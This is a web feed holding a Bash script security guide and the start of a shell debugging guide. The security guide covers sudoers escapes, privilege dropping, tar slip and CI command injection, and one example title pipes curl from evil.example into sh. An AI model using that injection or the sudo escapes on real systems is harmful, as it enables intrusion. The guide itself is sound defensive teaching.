Logs outlive scripts, travel to other systems and are read by people who should not see your tokens. Decide what is safe to log: operation names, counts, durations, host names and error messages are generally fine; headers, request bodies, tokens, passwords and personal data are not. When you log a command line, log the name and the non-sensitive options, not the full expansion. If you must show a URL that may carry a key in the query string, strip it before printing.
\nredact() { sed -E 's/(token|key|password|secret)=[^&[:space:]]+/\\\\1=REDACTED/gI'; }\nlog() { printf '%s %s\\n' \"$(date -u +%FT%TZ)\" \"$*\" | redact >&2; }\nlog \"fetching https://api.example.org/v1/items?page=2&token=abc123\"\n2026-11-05T10:14:03Z fetching https://api.example.org/v1/items?page=2&token=REDACTED\nA redaction filter is a safety net, not a design. The best protection is never to pass the secret through the code that logs. Review the output of set -x runs and error messages from tools you call, since a failing curl may print the URL it was given, and one failing database client may print the connection string.
Files a script creates take their mode from the process umask. A script that writes credentials, private keys or reports with the default 022 creates world-readable files. Set umask 077 at the top for scripts that handle sensitive data, or create files with explicit modes using install -m 600 or by creating the file first with (umask 077; : > file).
( umask 077; touch priv; mkdir pd )\nls -ld priv pd | cut -c1-10\ninstall -m 600 -o app -g app /dev/null /etc/app/token\ndrwx------\n-rw-------\nOrder matters: creating a file with a loose mode and then running chmod 600 leaves a window in which another user can open it. Create with the right mode from the start. Check ownership on anything a privileged script reads: a configuration file in a directory the attacker can write is code the script will trust. If the script sources a file, or reads a command from it, that file and every directory above it must be owned by root and not writable by others.
Linux ignores the setuid and setgid bits on interpreted scripts. The reason is a race: the kernel opens the script to read the shebang, starts the interpreter with the script's path as an argument, and the interpreter opens the path again; between the two, an attacker can swap the file or a symbolic link, so the privileged interpreter runs the wrong script. Do not look for ways around this. The supported ways to run something with extra rights are narrow and explicit.
\nA small compiled wrapper that does one thing, with a hardcoded path, can be setuid, though it carries the risk of any setuid program. A sudo rule that names the exact command is better. A systemd service with User= and the right Capabilities started by a socket or a timer is better still. A privileged script whose input is restricted to what a validated, narrow interface passes in is the common pattern, and it is the subject of the next sections.
The principle of least privilege says that a process should hold only the rights its job needs, for only as long as it needs them. For scripts, that gives four practices. Run as an unprivileged user by default. Use sudo only for the individual commands that need it, not for the whole script. Grant sudo for exact command lines, not whole programs or wildcards. And drop privilege as early as possible when the script must start as root.
# /etc/sudoers.d/deploy (edit with: visudo -f /etc/sudoers.d/deploy)\ndeploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart app.service, \\\n /usr/bin/systemctl status app.service\nsudo -l -U deploy\nsudo -n systemctl restart app.service\nThe rule lets the deploy user restart one service and read its status, and nothing else. Always edit sudoers with visudo, which checks syntax before saving, because a broken file can lock every administrator out. The next section covers the ways such rules fail.
Several common rules are equivalent to full root. A rule allowing /usr/bin/vim, less, find, awk, tar, git or any editor or pager is a root shell, because each of them can run a command or open a shell from within. A wildcard in the argument list, such as /usr/bin/systemctl restart *, matches extra arguments, so restart a b --now is allowed, and /usr/bin/tee /etc/app/* can be abused with .. path tricks. Allowing a script in a directory the user can write lets them replace it. Allowing sudo -e on a file the user can symlink lets them edit another.
| Rule | Why it is unsafe | Better |
|---|---|---|
ALL=(ALL) NOPASSWD: ALL | Root without a password | Name the commands |
/usr/bin/vim * | Editor escapes to a shell | sudoedit /path/file |
/bin/chown * /srv/app | Extra flags and paths | Fixed arguments, or a wrapper |
/home/deploy/run.sh | User can edit the script | Root-owned file in a root-owned directory |
/usr/bin/find * | -exec runs anything | A script that does the exact search |
The remedy is to give sudo a tiny, root-owned wrapper script that takes validated arguments and does one job, and allow only that. The wrapper must follow every rule here: set its own PATH, quote everything, validate its input with an allow-list, use mktemp, and refuse unexpected arguments. A wrapper that takes a service name and checks it against an array of allowed names is a safe replacement for an open-ended rule.
Sometimes a script must start as root, for instance to bind a low port, read a protected file or mount a volume. Do the privileged part first, then continue as an unprivileged user. setpriv, runuser, su -s or sudo -u run a command as another user, and setpriv can also reduce capabilities and set no_new_privs.
#!/usr/bin/env bash\nset -euo pipefail\n(( EUID == 0 )) || { echo \"must start as root\" >&2; exit 1; }\ninstall -d -m 750 -o app -g app /run/app\nexec setpriv --reuid=app --regid=app --init-groups --no-new-privs \\\n /usr/local/bin/app --config /etc/app/app.conf\nThe exec replaces the root shell with the unprivileged process, leaving no privileged parent behind. A service unit does this declaratively with User=, AmbientCapabilities= and NoNewPrivileges=true, which is why moving a script into a unit is often the best hardening step. In containers, the same idea is a non-root USER directive, a read-only root filesystem and dropped capabilities.
Installers piped straight into a shell, curl https://example.org/install.sh | sh, run whatever the server sends at that moment, over a connection that may be proxied and with no record of what executed. A truncated download can also execute half a command: a line cut at rm -rf /usr/local/share/app/ after the path was cut short is the textbook case. Download to a file, verify it, read it, then run it.
curl -fsSLo install.sh https://example.org/install.sh\ncurl -fsSLo SHA256SUMS https://example.org/SHA256SUMS\ncurl -fsSLo SHA256SUMS.sig https://example.org/SHA256SUMS.sig\ngpg --verify SHA256SUMS.sig SHA256SUMS\nsha256sum -c --ignore-missing SHA256SUMS\nless install.sh\nA checksum fetched from the same server as the file proves only that the download was not corrupted. A signature checked against a key you obtained earlier, by another route, proves who published it. Pin versions in scripts rather than fetching \"latest\", record the checksum in the script itself, and prefer the system package manager, which verifies signatures for you. The same care applies to pip install, npm install and container image tags in a script: pin by version or digest.
The read builtin without -r treats a backslash as an escape and joins continued lines. Without clearing IFS, it strips leading and trailing whitespace. Both change the data you thought you read and can hide the difference between two inputs that should be distinct.
printf 'a\\\\nb\\n' | { read line; echo \"[$line]\"; }\nprintf 'a\\\\nb\\n' | { read -r line; echo \"[$line]\"; }\nprintf ' lead\\n' | { IFS= read -r l; echo \"[$l]\"; }\n[anb]\n[a\\nb]\n[ lead]\nAlways write IFS= read -r. It is a security point because a rule that compares or matches a value, such as a deny list of names, can be bypassed by whitespace or escape sequences that the unsafe read normalized or kept. Likewise, command substitution strips trailing newlines, so $(cat file) is not a byte-for-byte copy; when exact content matters, read into a file, or use read -r -d '' with care.
A script that continues after a failed step can do damage that the step existed to prevent. The classic pair is cd \"$dir\"; rm -rf * when the cd fails. Start scripts with set -euo pipefail, but remember that -e has exceptions, and check the commands whose failure would be dangerous by hand. Use ${var:?} to abort when a variable that guards a destructive operation is empty.
set -euo pipefail\ndir=\"${1:?usage: clean.sh DIR}\"\ncd -- \"$dir\" || exit 1\nrm -rf -- \"${dir:?}/old\"\nbash: line 1: dir: parameter null or not set\nWith set -u, an unset variable is an error and \"${var:?}\" catches the empty-string case that -u allows. Fail closed: if a permission check cannot run, treat it as denied. If an input file is missing, stop; do not fall back to a default that is less strict. And clean up with a trap so that an aborted script does not leave sensitive temporary files or a half-applied change behind.
Here is a plausible maintenance script. It lets an operator remove old logs for a named application. Spot the problems before reading the list.
\n#!/bin/bash\napp=$1\ndays=$2\ntmp=/tmp/cleanup.$$\ncd /var/log/$app\nls | grep -v current > $tmp\nfor f in $(cat $tmp); do\n if [ $(stat -c %Y $f) -lt $(date -d \"$days days ago\" +%s) ]; then\n rm $f\n fi\ndone\necho \"cleaned $app\" | mail -s \"cleanup\" ops@example.org\nThe problems: $1 is used to build a path with no validation, so ../../etc escapes the log directory; an unquoted cd fails on spaces and the failure is ignored; the temporary file has a predictable name; $(cat $tmp) splits names on whitespace; ls output is parsed; $days goes into date -d, and $days reaches an arithmetic test unvalidated; the paths are not protected from a leading dash; and there is no set -e or error handling. The fixed version closes each one.
#!/usr/bin/env bash\nset -euo pipefail\nPATH=/usr/sbin:/usr/bin:/sbin:/bin\numask 077\n\ndie() { printf 'error: %s\\n' \"$*\" >&2; exit 2; }\n\napp=\"${1:-}\"; days=\"${2:-}\"\n[[ $app =~ ^[a-z][a-z0-9_-]{0,31}$ ]] || die \"bad application name\"\n[[ $days =~ ^[0-9]{1,4}$ ]] || die \"days must be a number\"\n\nlogdir=\"/var/log/$app\"\n[[ -d $logdir && ! -L $logdir ]] || die \"no such log directory\"\ncd -- \"$logdir\"\n\nremoved=0\nwhile IFS= read -r -d '' f; do\n rm -f -- \"$f\"\n removed=$(( removed + 1 ))\ndone < <(find . -maxdepth 1 -type f ! -name current -mtime +\"$days\" -print0)\n\nprintf 'cleaned %s: removed %s files\\n' \"$app\" \"$removed\"\n$ ./cleanup.sh nginx 30\ncleaned nginx: removed 12 files\n$ ./cleanup.sh ../etc 30\nerror: bad application name\nThe name is validated against an allow-list that cannot contain a dot, a slash or a leading dash. days is a number before any arithmetic. The directory is checked and not a symbolic link. find does the selection with -print0, so no whitespace parsing and no temporary file exist at all, and rm -f -- handles names that start with a dash. The result is shorter than the original and has no known holes. Input validation, quoting and a smaller use of tools are what removed the risk.
When reviewing a script, especially one that runs with privilege or processes outside input, work through a fixed list. Check each item against the code, not against what you remember of it.
\n\"${arr[@]}\".-- or carry a ./ prefix.eval, no bash -c with interpolated strings, no source of writable files.(( )).mktemp, are cleaned by a trap and have a private umask.PATH is set, and no empty or dot entries exist.Pair the review with tests of the hostile cases: a file named -rf, a name with a space and a newline, an empty argument, a value with a semicolon and a subshell, a symbolic link where a regular file is expected. The test setup is in the guide to testing shell scripts, and a bug that only shows under such input is easier to trace with the methods in the debugging guide.
A path built from input can point somewhere the author did not intend. Two mechanisms do it: .. components that climb out of a directory, and symbolic links that redirect a name to another place. The check is to resolve the final path and compare it with the directory you meant to stay inside. realpath from GNU coreutils resolves both. Do the comparison on the resolved result, not on the string you were given, and do the work on the resolved path so that nothing changes between the check and the use.
base=/srv/uploads\nwant=$(realpath -m -- \"$base/$name\")\ncase $want in\n \"$base\"/*) ;;\n *) echo \"path escapes $base\" >&2; exit 2 ;;\nesac\ncat -- \"$want\"\nThe -m option accepts a path that does not exist yet, which suits a file you are about to create. The case pattern requires the resolved path to start with the base followed by a slash, so a sibling directory named /srv/uploads-old does not pass. A gap remains between the check and the use: another process could swap a directory for a link in between. For scripts that run as root over directories others can write to, the answer is not a cleverer check but removing the sharing: process files in a directory only the service owns, and move uploads into it with an atomic rename.
An archive carries paths, link targets and permissions, all chosen by its author. A tarball can contain a member named ../../etc/cron.d/x or a symbolic link to / followed by a file written through it, a pattern known as zip slip or tar slip. GNU tar strips leading slashes and refuses members that contain .. by default, but treat a download you did not create as hostile. List the contents first, extract into an empty private directory, and use options that restrict what the archive may do.
dest=$(mktemp -d)\ntar -tzf upload.tgz | grep -E '(^/|\\.\\./)' && { echo \"suspicious paths\" >&2; exit 1; }\ntar -xzf upload.tgz -C \"$dest\" --no-same-owner --no-same-permissions\nfind \"$dest\" -type l -print\nThe options keep extraction from restoring the archive's owner or setuid bits, which would otherwise be honored when run as root. The final find lists symbolic links so that you can decide whether to allow them. Extract as an unprivileged user wherever possible. The same applies to unzip, cpio and bsdtar, whose defaults differ, so read the manual page of the one you use.
A script that runs more than once at a time can race with itself. The check \"does the file exist, then create it\" has a window between the two steps, and two instances can both pass the check. Use operations that are atomic: mkdir succeeds for exactly one caller, mv within a filesystem replaces atomically, ln -s fails if the link exists, and set -o noclobber with > fails if the file exists. For critical sections use flock.
set -o noclobber\nif { : > /var/lock/job.lock; } 2>/dev/null; then\n trap 'rm -f /var/lock/job.lock' EXIT\n ./work.sh\nelse\n echo \"already running\" >&2\nfi\nThis lock file works but leaves a stale lock if the process is killed with SIGKILL, so the flock form from the Bash tutorial is better, since the kernel releases it automatically. In either case keep lock files in a directory only the service can write, or an attacker can create the lock and block the job for as long as they like, a denial of service that needs no exploit.
CI systems feed scripts with data from outside: branch names, pull request titles, commit messages and issue text. These are written by contributors, who in a public repository can be anyone. When a workflow interpolates such a value into a shell command through the CI system's own templating, the text becomes part of the script before the shell parses it, and a title like \"; curl evil.example | sh # runs in the job, often with access to secrets. The defence is the same as for any shell: never interpolate, pass the value as an environment variable, and quote it in the script.
# unsafe: the expression is pasted into the script text\nrun: echo \"Building ${{ github.event.pull_request.title }}\"\n\n# safe: the value arrives as data in an environment variable\nenv:\n PR_TITLE: ${{ github.event.pull_request.title }}\nrun: printf 'Building %s\\n' \"$PR_TITLE\"\nTreat untrusted pull requests as unprivileged: do not expose secrets to jobs triggered from forks, and keep the token's permissions to the minimum the job needs. Pin third-party actions and scripts by commit hash. Each of these steps corresponds to a rule earlier in this guide, applied to the CI system's expansion step as well as the shell's.
\n\nA script inside a container often runs as root because the image never said otherwise. That turns any flaw in the script, or in the tools it calls, into root inside the container, and a container escape bug into root on the host. Create an unprivileged user in the image and switch to it before the entrypoint runs, mount the root filesystem read-only and drop Linux capabilities you do not use.
\nFROM debian:12-slim\nRUN useradd --system --uid 10001 --no-create-home app\nCOPY --chown=root:root entrypoint.sh /usr/local/bin/entrypoint.sh\nUSER 10001\nENTRYPOINT [\"/usr/local/bin/entrypoint.sh\"]\ndocker run --rm --read-only --cap-drop=ALL --security-opt no-new-privileges --tmpfs /tmp:rw,noexec,nosuid,size=16m myimage\nThe entrypoint is owned by root and not writable by the app user, so a compromised process cannot rewrite the script that will run on the next start. Writable paths are explicit, through the tmpfs mount. Never mount the Docker socket into a container that runs scripts handling outside input: access to it is root on the host. Entry point scripts should end with exec \"$@\" so signals reach the real process, as noted in the portable shell guide at POSIX sh versus Bash.
When you inherit a pile of scripts, start with a search for the patterns that tend to hide the worst bugs, and let ShellCheck do the rest. A few grep commands list the places that deserve a human look first.
grep -rnE '\\beval\\b|bash -c|sh -c' --include='*.sh' .\ngrep -rnE 'curl[^|]*\\|[[:space:]]*(sudo[[:space:]]+)?(ba)?sh' --include='*.sh' .\ngrep -rnE 'chmod[[:space:]]+(-R[[:space:]]+)?(777|a\\+rwx)' --include='*.sh' .\ngrep -rnE '/tmp/[A-Za-z0-9_.-]+(\\$\\$)?' --include='*.sh' .\nfind . -name '*.sh' -print0 | xargs -0 shellcheck -S warning -f gcc\nThe first finds string-built commands, the second pipe-to-shell installers, the third world-writable modes, the fourth predictable temporary names, and the last runs ShellCheck at warning severity across every script, printing one line per finding. Rank the results by exposure: scripts that run as root, scripts that read outside input and scripts that are copied into images come first. Fix by category and not by file, because the same pattern usually repeats, and add a CI check so that new instances do not arrive.
\n\nNo single control is enough, so a well-run system layers them, and the script is only one layer. The operating system provides users, groups, file modes and capabilities. systemd adds sandboxing: ProtectSystem, PrivateTmp, NoNewPrivileges, RestrictAddressFamilies and a seccomp filter through SystemCallFilter. Mandatory access control such as AppArmor or SELinux confines what a process can open even if it is fully compromised. Network policy limits what it can reach. Monitoring watches for the behaviors that matter: a script touching files it never touched before, or a spike in failed sudo attempts.
The practical consequence is a division of labor. The script validates its input and avoids dangerous constructs, which stops common mistakes. The unit or container limits the damage if a mistake slips through. The log and the alert tell a person that something unusual happened. A script with no sandbox depends on being perfect; a sandbox with no careful script depends on the sandbox being perfect. Using both lowers the odds that one overlooked quote becomes an incident.
\n\nMost of the controls above can be put in a short preamble that costs nothing at runtime and that you copy into new scripts, so the safe choice is the default one. It sets the strict options, fixes the path and field separator, makes new files private, and defines the helper that all failures use. Review it once, keep it in a template, and let ShellCheck and code review confirm that new scripts start from it.
\n#!/usr/bin/env bash\nset -euo pipefail\nIFS=$'\\n\\t'\nPATH=/usr/local/bin:/usr/bin:/bin\numask 077\nunset CDPATH BASH_ENV ENV\n\ndie() { printf '%s: %s\\n' \"${0##*/}\" \"$*\" >&2; exit \"${2:-1}\"; }\ntmp=$(mktemp -d) || die \"cannot create a temporary directory\"\ntrap 'rm -rf -- \"$tmp\"' EXIT\nSetting IFS to newline and tab means an accidental unquoted expansion splits only on lines, a smaller blast radius than splitting on spaces, though it is no substitute for quoting. The header does not make a script safe on its own; it removes the ambient hazards, such as the caller's environment and a loose umask, so the remaining review can concentrate on how the script treats its own input. Add the input validation and the privilege decisions on top, and the script is ready for the checklist.
When the shell is the wrong language. A script that parses untrusted structured data, serves network requests, handles authentication or enforces a policy should not be a shell script at all. Use a language with real data types, libraries for parsing and escaping, and a testing culture. The effort to make shell safe for those jobs exceeds the effort to write them elsewhere.
\nIsolation instead of correctness. For running untrusted code, as in CI or a sandbox, careful scripting is a weak control. Use containers, VMs, seccomp, user namespaces and resource limits, and assume the script inside is hostile.
\nScripts with no boundary. A throwaway command on your own machine with your own data does not need the full list. Apply the habits that cost nothing, such as quoting, and skip the rest.
\nQuoting alone. It is necessary and not sufficient. Option injection, arithmetic evaluation, symlink races and environment variables are not fixed by quotes, which is why the other sections exist.
\nWindows and PowerShell. The rules differ by shell. PowerShell has its own injection patterns, such as Invoke-Expression, and Windows file names have their own special cases.
Security and testing support each other, so continue to testing shell scripts with Bats and ShellCheck, where the hostile inputs above become repeatable tests. For the fundamentals behind the quoting rules, see the Bash scripting tutorial. For SSH, the other major way scripts reach privilege, see the SSH guide, and for running scripts with limits and a sandbox, the cron and systemd timers guide.
\nPrimary sources used here: the Bash Reference Manual, the POSIX Shell Command Language, mktemp(1), sudoers(5), setpriv(1), credentials(7), systemd.exec(5), CWE-78 on OS command injection, CWE-377 on insecure temporary files and the ShellCheck SC2086 page.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Security"]},{"id":"https://shellhacks.dev/library/debugging-shell-scripts","url":"https://shellhacks.dev/library/debugging-shell-scripts","title":"Debugging Shell Scripts From set x All the Way to strace","summary":"Debug shell scripts from set -x and ShellCheck to traps, caller, PIPESTATUS and strace, with a real buggy script traced down to its root cause.","content_html":"Debugging a shell script is the same discipline as debugging anything else: reproduce the failure, shrink it, form a hypothesis, test it and fix the cause rather than the symptom. What is different about shell is the tooling and the kinds of mistakes. The language has no compiler, so syntax errors surface only when the line is reached. Types do not exist, so a number and a filename are both strings. And the real work happens in other programs, so many failures are not in the shell code at all. This guide works through the tools in the order you should reach for them, using one real buggy script traced to its cause, on Bash 5.2.15, ShellCheck 0.9.0 and strace 6.1 in Debian 12. The scripts being debugged are written as in the Bash scripting tutorial.
\nThe sections cover the debugging mindset, static checks, tracing with set -x, structured error reporting with trap and caller, the classes of bug that recur, system-level tracing with strace, timing and performance, and debugging scripts that run under cron, over SSH and in containers.
A bug you cannot reproduce is a bug you cannot fix. Before touching the code, capture a command line, an input and an environment that make the script fail every time, and write them down as a script of their own. A small reproduction turns a vague \"it breaks sometimes\" into a test. It also tells you whether the failure depends on the input, the environment, the time or the machine, which decides where to look.
\nShrink the case. Remove arguments, then lines of input, then whole sections of the script, running it after each cut and keeping the cut only if the failure remains. When the failure disappears after a cut, the removed part was involved. This is bisection by hand, and it is faster than reading a long script and guessing. For failures that appear in a long pipeline, run the pipeline stage by stage and look at the output of each. For failures that depend on state, such as a file that exists on one host and not another, record that state with ls -l, env and id alongside the failing output.
This short script is meant to total the sizes of all log files in the current directory. It has a bug that shows up only for one kind of file name, which is how most shell bugs behave.
\n#!/usr/bin/env bash\ncount=0\nfor f in *.log; do\n size=$(stat -c %s $f)\n count=$((count + size))\ndone\necho \"total: $count\"\nWith a directory containing c.log (six bytes) and an empty file named a b.log, the script prints this.
stat: cannot statx 'a': No such file or directory\nstat: cannot statx 'b.log': No such file or directory\ntotal: 6\nThe error mentions files called a and b.log, neither of which exists, and the total looks plausible, so the script reports a wrong answer without failing. We will use this case in each section to see what each tool shows.
bash -n reads the script and reports syntax errors without running any command. It catches unclosed quotes, missing fi or done and misplaced parentheses. It cannot catch anything that depends on runtime values.
printf 'if true; then\\necho hi\\n' > bad.sh\nbash -n bad.sh; echo \"rc=$?\"\nbad.sh: line 3: syntax error: unexpected end of file\nrc=2\nThe line number points at the end of the file because that is where Bash noticed the if was never closed, not where you forgot the fi. For an unclosed quote or a missing done, work backwards from the reported line to the last construct that opened a block. An editor with bracket matching and a ShellCheck plugin shows the same problems as you type. Run bash -n in a pre-commit hook; it takes milliseconds and prevents committing a script that cannot parse.
ShellCheck is a static analyzer for shell. It finds the bugs that are valid syntax and wrong in practice, and it explains each in a page of the project wiki. Running it on the sample script identifies the bug before any tracing.
\nshellcheck buggy.sh\nIn buggy.sh line 4:\n size=$(stat -c %s $f)\n ^-- SC2086 (info): Double quote to prevent globbing and word splitting.\n\nDid you mean:\n size=$(stat -c %s \"$f\")\nThat is the whole diagnosis: the unquoted $f was split on the space, so stat received two arguments. ShellCheck reports severities of error, warning, info and style, and -S warning hides the lower ones. The codes worth knowing by heart are SC2086 (unquoted expansion), SC2046 (unquoted command substitution), SC2164 (cd without a guard), SC2155 (declare and assign together mask a return value), SC2181 (testing $? instead of the command) and SC2034 (unused variable, often a typo). Its output depends on the shell named in the shebang or given with -s, so a wrong shebang yields wrong advice. The tool and its checks are described on the ShellCheck wiki, and the testing guide shows how to run it in CI.
When static checks find nothing, watch the script run. set -x makes Bash print each command to standard error, after expansion, with a prefix. Run the whole script with bash -x script.sh, or turn it on for a region with set -x and set +x.
bash -x buggy.sh 2>&1 | head -12\n+ count=0\n+ for f in *.log\n++ stat -c %s a b.log\nstat: cannot statx 'a': No such file or directory\nstat: cannot statx 'b.log': No such file or directory\n+ size=\n+ count=0\n+ for f in *.log\n++ stat -c %s c.log\n+ size=6\n+ count=6\n+ echo 'total: 6'\nThe trace shows precisely what happened. The line ++ stat -c %s a b.log has two words after %s, though the loop variable held one file name, so the splitting is visible. Each plus sign is a nesting level: one for a command in the script, two for a command inside a command substitution. Note that size= is empty after the failure, and the next line adds nothing to the count; the script carried on because nothing stopped it. This is the main benefit of tracing: it turns an invisible expansion into a visible line.
The prefix is the value of the variable PS4, expanded for each line, so it can hold the script name, the line number, the function and the time. A longer script produces hundreds of trace lines, and a prefix that says where each came from is the difference between a usable trace and a wall of text.
PS4='+ ${BASH_SOURCE##*/}:${LINENO}:${FUNCNAME[0]:-main}: '\nset -x\necho \"starting\"\n+ t.sh:3:main: echo starting\nstarting\nAssign PS4 inside the script, before set -x. In this Debian 12 container, setting PS4 in the environment of bash -x script.sh, whether inline or exported, left the prefix at a plain plus sign, while the assignment within the shell took effect, so do not rely on passing it from outside. Put the assignment behind a debug switch, such as [[ ${DEBUG:-} ]] && { PS4=...; set -x; }, so the trace turns on with DEBUG=1 ./script.sh and costs nothing otherwise. Add $EPOCHREALTIME to the prefix to get microsecond timestamps for finding slow steps.
By default the trace goes to standard error, mixed with the script's own error messages and with whatever the caller does to that stream. Bash lets you redirect it to a dedicated file descriptor through BASH_XTRACEFD, which keeps the trace separate and complete.
exec 5>trace.log\nBASH_XTRACEFD=5\nset -x\necho hi\nls /nonexistent_dir\nhi\nls: cannot access '/nonexistent_dir': No such file or directory\n+ echo hi\n+ ls /nonexistent_dir\nThe first block is what the terminal showed and the second is the content of trace.log. This matters for scripts run under cron or from other programs that capture standard error, where an unsolicited trace would pollute output that something else parses. Remember that a trace prints the expanded values of every variable, so it will contain any secret that passed through a command line. Never leave tracing on in production logs; the security guide covers why in the shell script security guide.
set -v (verbose) prints each line of input as the shell reads it, before expansion. Used with -x, you see the original text and then the expanded command, which helps when you suspect the shell parsed a line differently from how you read it.
bash -v -c 'x=1\necho \"$x\"' 2>&1\nx=1\necho \"$x\"\n1\nIt is most useful for here documents and multi-line constructs, and for checking which lines of a sourced file were read. For everyday work -x carries the information you need; reach for -v when the question is what the shell saw, not what it did.
A script that fails with only an exit status is hard to diagnose, especially when it runs unattended. The ERR trap fires when a command fails, and inside the handler $LINENO and $BASH_COMMAND give the line and the command. Add -E (errtrace) so that functions and subshells inherit the trap.
#!/usr/bin/env bash\nset -eEuo pipefail\ntrap 'echo \"failed: line $LINENO: $BASH_COMMAND (exit $?)\" >&2' ERR\nf() { false; }\nf\necho unreachable\nfailed: line 4: false (exit 1)\nThe handler named the exact command and line, then set -e ended the script with status 1. Put this in a shared header for every script you run unattended and the next failure explains itself in the log. Capture $? as the first thing the handler does, because any command in the handler resets it. The trap fires only for failures that set -e would act on, so the exceptions of -e (conditions, && lists, and the like) are exceptions here too.
The caller builtin prints the line, function and file of a call at a given depth in the call stack. Looping over increasing depths prints a full stack trace, which is invaluable once a script is split into functions and the failing line is three calls deep.
trace() { local i=0; while caller \"$i\"; do (( i++ )); done; }\na() { b; }\nb() { trace; }\na\n4 b trace.sh\n3 a trace.sh\n5 main trace.sh\nEach row is the line number, the function name and the file: b was called from line 4, a from line 3, and main at line 5 made the first call. Call this from your ERR handler to turn \"failed at line 42\" into the path that led there. Related arrays are available directly: FUNCNAME, BASH_SOURCE and BASH_LINENO hold the names, files and lines of the active call stack, in the order innermost first.
The DEBUG trap runs before each simple command. It is the closest thing the shell has to single-stepping, and with a handler that pauses for input it gives you an interactive stepper in a few lines.
trap 'echo \"[$LINENO] $BASH_COMMAND\"' DEBUG\nx=1\ny=2\n[2] x=1\n[3] y=2\ntrap 'read -r -p \"[$LINENO] $BASH_COMMAND > \" _ < /dev/tty' DEBUG\nThe second handler waits for Enter before each command, reading from the terminal so it does not consume the script's own input. Combine it with shopt -s extdebug for finer control. For a full debugger with breakpoints there is bashdb, but it is rarely installed and ties you to a specific Bash version; most problems yield to set -x and the traps above.
The exit status of a pipeline is that of its last command, so a failure earlier in the chain disappears. Bash records every stage's status in the array PIPESTATUS, which you must read immediately, before running another command.
false | true | false; echo \"${PIPESTATUS[@]}\"\nbash -c 'false | true; echo \"${PIPESTATUS[*]}\"'\n1 0 1\n1 0\nWith set -o pipefail the pipeline fails if any stage does, but you lose the detail of which one, and some stages legitimately exit non-zero, such as grep finding nothing or a producer killed by SIGPIPE (status 141) when head closes the pipe early. When debugging, print PIPESTATUS after the pipeline in question. Split long pipelines into steps writing to temporary files to look at each intermediate result; it is slower, and it removes guesswork.
A frequent puzzle is a variable that is set in a loop and empty afterwards. Pipelines, command substitutions and parentheses run in subshells, whose changes are lost when they end.
\nn=0\necho x | { n=5; }\necho \"n=$n\"\nn=0\nTo find it, add echo \"$BASHPID $$\" at the top of the suspect region: $$ stays the main shell's PID in subshells, while $BASHPID changes, so differing values prove a subshell. The fix is to avoid the pipe, with a redirection from a file or process substitution, or to enable shopt -s lastpipe where job control is off. A related symptom is a variable that works in the shell but is empty in a child process, which means it was never exported.
V=1; bash -c 'echo \"[$V]\"'\nexport V; bash -c 'echo \"[$V]\"'\n[]\n[1]\nAn exit status can tell you where to look, if you know the conventions. 0 is success. 1 is a general error, and tools use it for their own purposes. 2 usually means misuse of the command. 126 means the file exists but cannot be executed: a missing executable bit, a directory, or a binary for another architecture. 127 means the command or interpreter was not found. Values above 128 mean a signal: 130 is SIGINT, 137 is SIGKILL (often the out-of-memory killer), and 143 is SIGTERM.
\n./crlf.sh; echo \"rc=$?\"\n./ns.sh; echo \"rc=$?\"\nbash -c 'exit 7'; echo \"rc=$?\"\ndmesg 2>/dev/null | grep -i 'killed process' | tail -2\nbash: line 59: ./crlf.sh: cannot execute: required file not found\nThe first message is the classic symptom of Windows line endings: the shebang is read as #!/bin/bash followed by a carriage return, so the kernel looks for an interpreter literally named with that character and reports that a required file was not found. The script file exists and the interpreter exists, which is why the message confuses people. Convert the file with tr -d '\\r' < in > out or dos2unix, and prevent it with a .gitattributes rule. A script with no shebang at all runs, but under whatever shell the caller used to start it, which is a common cause of \"different results from different launchers\".
set -e is no substitute for debugging because it has gaps that hide the failing command. A function called in a condition runs with -e disabled, so errors inside it do not stop it.
set -e; f() { false; echo after; }; f && echo ok\nafter\nok\nThe false failed and execution went on, because the function sat on the left of &&. Another trap is local x=$(cmd), where the exit status of local, always 0, replaces the status of the substitution.
f() { local x=$(false); echo \"rc=$?\"; }; f\ng() { local x; x=$(false); echo \"rc=$?\"; }; g\nrc=0\nrc=1\nDeclare and assign on separate lines whenever the status matters; ShellCheck reports this as SC2155. When a script keeps going after a visible error, check these two before anything else.
\n\nA loop that reads lines and runs ssh or another command that reads standard input will stop after the first line, because the command consumes the rest of the input.
printf 'h1\\nh2\\nh3\\n' > hosts\nwhile read -r h; do cat >/dev/null; echo \"got $h\"; done < hosts\ngot h1\nHere cat swallowed the remaining two lines, as ssh would. Give the command its own input: ssh -n, or < /dev/null on the command, or read the list with a different file descriptor using while read -r h <&3; do ...; done 3< hosts. The symptom, a loop that runs once with no error, is easy to recognize once seen and easy to spend an hour on if not.
Many failures reduce to the shell's expansion rules. When a command behaves as if it received the wrong arguments, print them exactly. A tiny function that echoes each argument in brackets shows the real word boundaries.
\nargs() { printf '[%s]\\n' \"$@\"; }\nx=\"a b\"\nargs $x\nargs \"$x\"\ndeclare -p x\n[a]\n[b]\n[a b]\ndeclare -- x=\"a b\"\nUse it in place of the suspect command to see what it would receive. declare -p prints a variable with its attributes in a form that shows hidden characters, quotes and array structure, which beats echo for finding a trailing space or an array that is really a string. For unprintable characters in a value, printf '%q' and od -c reveal them, such as the carriage return left by a file with Windows line endings.
A command may not be the one you think it is. An alias, a function or an earlier directory on PATH can shadow it, and a script runs with different aliases and a different PATH from your interactive shell. type -a lists every candidate in the order the shell would pick, and command -v prints the one that wins.
type -a ls\ncommand -v python3\nhash -r\nls is /usr/bin/ls\nls is /bin/ls\nThe shell caches the location of commands it has run, so after installing or moving a program, hash -r clears the cache; a stale cache explains \"command not found\" for a program that is plainly present. In a script, print the resolved path and the version of every tool it depends on at startup in debug mode. A surprising number of \"bugs\" turn out to be a different version of sed, date or grep on the machine where it failed.
Many scripts work interactively and fail under cron, a systemd unit, a CI runner or ssh host command, because the environment differs. Reproduce the failure by running the script in an environment that is as bare as the failing one.
env -i HOME=\"$HOME\" PATH=/usr/bin:/bin /usr/local/bin/backup.sh\nenv -i bash --noprofile --norc ./script.sh\nssh host 'env | sort' > remote-env.txt\ndiff <(env | sort) remote-env.txt\nenv -i clears the whole environment, so anything the script silently relied on, such as a tool in /usr/local/bin or a variable set in ~/.bashrc, is now missing, and the error appears. Comparing the working and failing environments with diff shows the difference directly. Also compare the working directory, the user, the umask, the locale and whether standard input is a terminal: [[ -t 0 ]] is false under cron, and scripts that prompt then hang or fail. The scheduler-specific differences are described in the guide to cron and systemd timers.
